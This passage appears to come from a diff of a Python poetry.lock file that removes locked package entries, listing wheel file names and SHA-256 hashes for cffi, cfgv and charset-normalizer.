"sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, - {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, - {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, - {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, - {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, - {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, - {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, - {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, - {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, - {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, - {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, - {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, - {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, -] - -[package.dependencies] -pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} - -[[package]] -name = "cfgv" -version = "3.5.0" -description = "Validate configuration and produce human readable error messages." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0"}, - {file = "cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132"}, -] - -[[package]] -name = "charset-normalizer" -version = "3.4.4" -description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -optional = false -python-versions = ">=3.7" -groups = ["main", "docs"] -files = [ - {file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"}, - {file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"}, - {file = 